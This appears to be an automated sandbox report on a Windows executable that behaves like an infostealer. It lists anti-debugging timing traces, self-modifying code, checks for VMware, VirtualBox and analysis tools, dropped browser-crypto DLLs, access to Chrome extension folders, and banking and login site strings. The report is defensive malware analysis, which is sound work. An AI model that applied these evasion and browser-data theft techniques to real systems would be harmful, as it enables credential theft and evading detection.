Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF02BC second address: 4DF03B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC82927EE89h 0x00000009 and esi, 04FB16C6h 0x0000000f jmp 00007FC82927EE81h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FC82927EE80h 0x0000001b and eax, 4FE3C768h 0x00000021 jmp 00007FC82927EE7Bh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a mov ebp, esp 0x0000002c pushad 0x0000002d mov eax, 7FE66C7Bh 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007FC82927EE7Eh 0x00000039 sbb ecx, 3E3719C8h 0x0000003f jmp 00007FC82927EE7Bh 0x00000044 popfd 0x00000045 movzx eax, di 0x00000048 popad 0x00000049 popad 0x0000004a push 00000000h 0x0000004c pushad 0x0000004d jmp 00007FC82927EE81h 0x00000052 pushfd 0x00000053 jmp 00007FC82927EE80h 0x00000058 or eax, 1229DF58h 0x0000005e jmp 00007FC82927EE7Bh 0x00000063 popfd 0x00000064 popad 0x00000065 push 00000000h 0x00000067 pushad 0x00000068 jmp 00007FC82927EE84h 0x0000006d mov si, C391h 0x00000071 popad 0x00000072 push dword ptr [ebp+1Ch] 0x00000075 push eax 0x00000076 push edx 0x00000077 jmp 00007FC82927EE83h 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF03B2 second address: 4DF0448 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8292819E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+18h] 0x0000000c pushad 0x0000000d mov ax, 0B63h 0x00000011 pushfd 0x00000012 jmp 00007FC8292819E8h 0x00000017 add ecx, 3FEA05A8h 0x0000001d jmp 00007FC8292819DBh 0x00000022 popfd 0x00000023 popad 0x00000024 push dword ptr [ebp+14h] 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007FC8292819E4h 0x0000002e sbb esi, 1DB97808h 0x00000034 jmp 00007FC8292819DBh 0x00000039 popfd 0x0000003a mov cx, FE7Fh 0x0000003e popad 0x0000003f push dword ptr [ebp+10h] 0x00000042 pushad 0x00000043 push eax 0x00000044 mov cx, bx 0x00000047 pop ebx 0x00000048 movzx ecx, dx 0x0000004b popad 0x0000004c push dword ptr [ebp+0Ch] 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0448 second address: 4DF0469 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FC82927EE7Ah 0x0000000a sbb cx, 6D98h 0x0000000f jmp 00007FC82927EE7Bh 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0469 second address: 4DF046F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF046F second address: 4DF0473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF04BB second address: 4DF04C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD074C second address: 4DD0798 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC82927EE81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov bl, 69h 0x0000000d jmp 00007FC82927EE88h 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FC82927EE87h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0798 second address: 4DD079E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD079E second address: 4DD07E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC82927EE7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007FC82927EE86h 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FC82927EE87h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0841 second address: 4DD0855 instructions: 0x00000000 rdtsc 0x00000002 movzx esi, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xor dword ptr [esp], 625D4577h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0855 second address: 4DD085D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, cx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD085D second address: 4DD0875 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC8292819E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0875 second address: 4DD0879 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0879 second address: 4DD08B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007FC899DD5147h 0x0000000d push 759227D0h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [759B0140h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 mov cx, E20Fh 0x00000059 pushfd 0x0000005a jmp 00007FC8292819E4h 0x0000005f or si, 47B8h 0x00000064 jmp 00007FC8292819DBh 0x00000069 popfd 0x0000006a popad 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD08B4 second address: 4DD08BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD08BA second address: 4DD090A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8292819DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and dword ptr [ebp-04h], 00000000h 0x0000000f jmp 00007FC8292819E6h 0x00000014 mov edx, dword ptr [ebp+0Ch] 0x00000017 jmp 00007FC8292819E0h 0x0000001c mov esi, edx 0x0000001e pushad 0x0000001f mov edx, ecx 0x00000021 mov ch, 37h 0x00000023 popad 0x00000024 mov al, byte ptr [edx] 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 push eax 0x0000002a pop edi 0x0000002b pushad 0x0000002c popad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD090A second address: 4DD0948 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC82927EE89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushfd 0x0000000e jmp 00007FC82927EE7Ah 0x00000013 and eax, 256F5138h 0x00000019 jmp 00007FC82927EE7Bh 0x0000001e popfd 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0948 second address: 4DD090A instructions: 0x00000000 rdtsc 0x00000002 mov di, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007FC8292819E4h 0x0000000d jmp 00007FC8292819E5h 0x00000012 popfd 0x00000013 popad 0x00000014 test al, al 0x00000016 jmp 00007FC8292819DEh 0x0000001b jne 00007FC829281945h 0x00000021 mov al, byte ptr [edx] 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 push eax 0x00000027 pop edi 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD09F9 second address: 4DD0A36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, EAh 0x00000005 pushfd 0x00000006 jmp 00007FC82927EE7Ah 0x0000000b sbb eax, 06DB7448h 0x00000011 jmp 00007FC82927EE7Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a dec edi 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FC82927EE85h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0A36 second address: 4DD0AD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007FC8292819E3h 0x0000000b xor ecx, 32369BEEh 0x00000011 jmp 00007FC8292819E9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a lea ebx, dword ptr [edi+01h] 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FC8292819E3h 0x00000024 and cx, 01FEh 0x00000029 jmp 00007FC8292819E9h 0x0000002e popfd 0x0000002f popad 0x00000030 mov al, byte ptr [edi+01h] 0x00000033 jmp 00007FC8292819DEh 0x00000038 inc edi 0x00000039 jmp 00007FC8292819E0h 0x0000003e test al, al 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 mov edi, 16874C40h 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0AD8 second address: 4DD0ADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0ADD second address: 4DD0B12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC8292819E2h 0x00000008 push esi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jne 00007FC899DC995Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FC8292819E3h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0B12 second address: 4DD0BBD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC82927EE89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b pushad 0x0000000c mov cl, F3h 0x0000000e pushfd 0x0000000f jmp 00007FC82927EE89h 0x00000014 and esi, 498459B6h 0x0000001a jmp 00007FC82927EE81h 0x0000001f popfd 0x00000020 popad 0x00000021 shr ecx, 02h 0x00000024 jmp 00007FC82927EE7Eh 0x00000029 rep movsd 0x0000002b rep movsd 0x0000002d rep movsd 0x0000002f rep movsd 0x00000031 rep movsd 0x00000033 jmp 00007FC82927EE80h 0x00000038 mov ecx, edx 0x0000003a pushad 0x0000003b call 00007FC82927EE7Eh 0x00000040 mov ax, 0311h 0x00000044 pop eax 0x00000045 mov si, dx 0x00000048 popad 0x00000049 and ecx, 03h 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007FC82927EE84h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0BBD second address: 4DD0C04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8292819DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsb 0x0000000b jmp 00007FC8292819E6h 0x00000010 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FC8292819E7h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0C04 second address: 4DD0C09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0C09 second address: 4DD0C61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FC8292819E5h 0x0000000a or al, 00000046h 0x0000000d jmp 00007FC8292819E1h 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov eax, ebx 0x00000018 jmp 00007FC8292819DEh 0x0000001d mov ecx, dword ptr [ebp-10h] 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 jmp 00007FC8292819DDh 0x00000028 push esi 0x00000029 pop edx 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0C61 second address: 4DD0C8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 movsx edi, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr fs:[00000000h], ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007FC82927EE83h 0x0000001a mov dh, cl 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0C8C second address: 4DD0CA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC8292819E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0CA1 second address: 4DD0CDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 jmp 00007FC82927EE7Dh 0x0000000e pop edi 0x0000000f jmp 00007FC82927EE7Eh 0x00000014 pop esi 0x00000015 pushad 0x00000016 mov ecx, 444B464Dh 0x0000001b jmp 00007FC82927EE7Ah 0x00000020 popad 0x00000021 pop ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0CDF second address: 4DD0CE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0CE3 second address: 4DD0CE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0CE9 second address: 4DD0CF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0F36 second address: 4DD0F3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0F3B second address: 4DD0F6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007FC8292819E4h 0x0000000f sbb si, E9C8h 0x00000014 jmp 00007FC8292819DBh 0x00000019 popfd 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0F6D second address: 4DD0F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6BDE13 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6BDEB1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6BDDE8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8F26D8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 85C6C7 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 6544	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1276	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5636	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5856	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2716	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3524	Thread sleep time: -30015s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5BC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C5BC930

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2637344080.000000000083F000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Web Data.8.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2638083639.0000000000F42000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2638083639.0000000000F27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Web Data.8.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Web Data.8.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Web Data.8.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Web Data.8.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2637344080.000000000083F000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: {vmcic
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Web Data.8.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Web Data.8.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Web Data.8.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2638083639.0000000000F12000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh8
Source: file.exe, 00000000.00000002.2638083639.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Web Data.8.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2637344080.000000000083F000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.8.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Web Data.8.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C605FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C605FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C60C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C60C410

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C5DB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C5DB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 2800, type: MEMORYSTR

Source: file.exe, file.exe, 00000000.00000002.2637344080.000000000083F000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: 'Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5DB341 cpuid

0_2_6C5DB341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
